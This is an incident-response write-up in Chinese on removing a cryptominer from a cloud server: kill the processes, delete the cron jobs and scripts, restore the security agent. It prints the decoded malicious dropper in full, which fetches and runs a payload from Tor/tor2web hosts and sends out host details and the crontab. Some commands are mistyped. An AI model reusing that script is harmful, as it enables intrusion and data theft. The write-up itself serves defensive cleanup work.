案例背景
1.CVM主机安全控制台无数据显示。
2.服务器CPU突增至100%上下浮动,影响服务正常运行。
问题说明
1.单是CVM主机安全控制台无数据显示,大概率是主机安全服务进程YDService被强制停止。
2.服务器CPU突增至100%,大概率是挖矿进程占用CPU进程。
原因分析
1. 首先查看主机安全控制台,发现主机安全内无任何数据回传和图表信息,处于异常状态。
2. 查看机器的监控,出现CPU占用100%,时间大概在今日下午14时45分左右。为了快速为CPU降压,本次清理不做深入溯源,而是快速清理服务器挖矿病毒。
解决步骤:
第一步:使用top命令查看当前进程占用情况(目的:快速定位高占CPU的进程)
代码语言:javascript复制top
定位出占用较高的恶意进程,这三个服务的PID分别为8635,10610,14438
代码语言:javascript复制8635 1 0.0 0.0 0:00.00 Process root 75L6izvh
10610 1 0.0 0.0 0:00.15 Process root q5wyiYQk
14438 1 0.0 0.0 0:00.00 Process root 0RKJGzjg
第二步:先停止对应恶意PID进程,为服务器CPU降压(注:这里不推荐直接删除进程,因为挖矿往往存在定时任务,删除后还会自动生成,但停止恶意进程会使其陷入一个执行的空窗期,为我们的清理排查赢得时间)
代码语言:javascript复制kill STOP 8635 10610 14438
第三步:查看定时任务(目的:挖矿进程常有写入定时任务的习惯,所以从定时任务中去定位挖矿文件往往效率较高)
代码语言:javascript复制crontab -l
经过核查,上图下面的两个任务是服务器的业务正常启动业务,属于合法进程。那么,这两个任务就值得我们关注:
代码语言:javascript复制33 * * * * /root/.systemd-service.sh > /dev/null 2>&1 &
52 0 * * * "/root/.acme.sh"/acme.sh --cron --home "/root/.acme.sh" > /dev/null
先对.acme.sh审计
代码语言:javascript复制cd /root/.acme.sh
通过该文件的进程源码分析,我们找到了一个URL地址:
重点!!!!!!!!!!!!!!
三个核心自动生成挖矿任务的文件位置:
代码语言:javascript复制/etc/cron.d/0systemd // 第一挖矿进程
/root/.systemd-service.sh // 挖矿子进程1
/opt/systemd-service.sh // 挖矿子进程2
查看第一个核心挖矿进程内容:
代码语言:javascript复制vim /etc/cron.d/0systemd
我们的关注点就全面转向最后一个进程/root/.systemd-service.sh
查看一下文件内容
代码语言:javascript复制vim /root/.systemd-service.sh
其实这里还有一个隐藏的文件进程,也必须杀掉和删除才能清理干净:路径/opt/systemd-service.sh
为了保险,两个文件名再模糊查询检索一下:
代码语言:javascript复制find / -iname systemd-service.sh
find / -iname .systemd-service.sh
/root/.systemd-service.sh使用base64解码后的结果:
代码语言:javascript复制#!/bin/bash
exec &>/dev/null
echo sMA4p3iYpUgY2CJZoyKJ5M66ce K50VAIO2IKC8A1NT2JSksIXBHXJ8PYNYVJ6p0
echo
sMA4p3iYpUgY2CJZoyKJ5M66ce K50VAIO2IKC8A1NT2JSksIXBHXJ8PYNYVJ6p0
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "bggts547gukhvmf4cgandlgxxphengxovoyo6ewhns5qmmb2b5oi43yd")
sockz() {
n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM))]}/$p | grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" |tr ' ' 'n'|sort -uR|head -1)
}
fexe() {
for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.it tor2web.io tor2web.su onion.com.de tor2web.to onion.sh
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/01)/status; then
u $t.$h
else
break
fi
done |base64 -d|bash
我们可以看出,这是一个不断监控和写入的挖矿进程,那么挖矿源文件的定位就是/root/.systemd-service.sh进程
第四步:删除该恶意进程定时任务,再删除恶意进程文件
代码语言:javascript复制rm -rf /etc/cron.d/0systemd
rm -rf /root/.systemd-service.sh
rm -rf /opt/systemd-service.sh
第五步,kill 掉对应的进程PID,这里就可以删除进程了,因为挖矿源文件已经被删除
代码语言:javascript复制Kill -9 8635 10610 14438
删除后我们已经找不到对应的恶意PID 8635 10610 14438
第六步:重启主机安全服务,因为本次问题是由于主机安全无数据引发的,同时要恢复一下服务
代码语言:javascript复制service YDService restart
第七步:验证
(1)验证CPU情况,已恢复正常,同时查看控制台主机安全数据,均已回显。
CPU负荷直线下降,恢复正常
(2)查看自启动日志,看看是否还有新增任务,观察两个小时,无新增说明已经清理干净
代码语言:javascript复制grep "systemd-service.sh" /var/log/cron
总结一下
一、整个挖矿清理的过程逻辑,简述就是“先暂停——再清理——再恢复”,因为挖矿攻击行为的特性,停止挖矿进程会使挖矿进程陷入一个短暂“休眠期”,为我们赢得时间定位进程位置,清理核心进程。
二、挖矿进程文件位置
三个核心自动生成挖矿任务的文件位置:(注:定位核心进程位置时要留心,结合配置文件,自动任务,自动任务日志等信息综合判断,边清理边观察,边观察边清理)
代码语言:javascript复制/etc/cron.d/0systemd // 第一挖矿进程
/root/.systemd-service.sh // 挖矿子进程1
/root/.systemd-service.sh // 挖矿子进程2
二、挖矿的入侵源头经分析,主要由于安全组ssh远程端口未合理配置导致,直接开放于公网。像这类情况挖矿木马会通过批量扫描ssh端口爆破植入,使服务器沦为矿机。后期通过一些CASE,我会逐步在案例中分析挖矿木马一些有趣的骚操作。安全,防患于未然:因此要加强安全组策略限制,并养成定期修改服务器远程登录口令等安全习惯,才能防患于未然。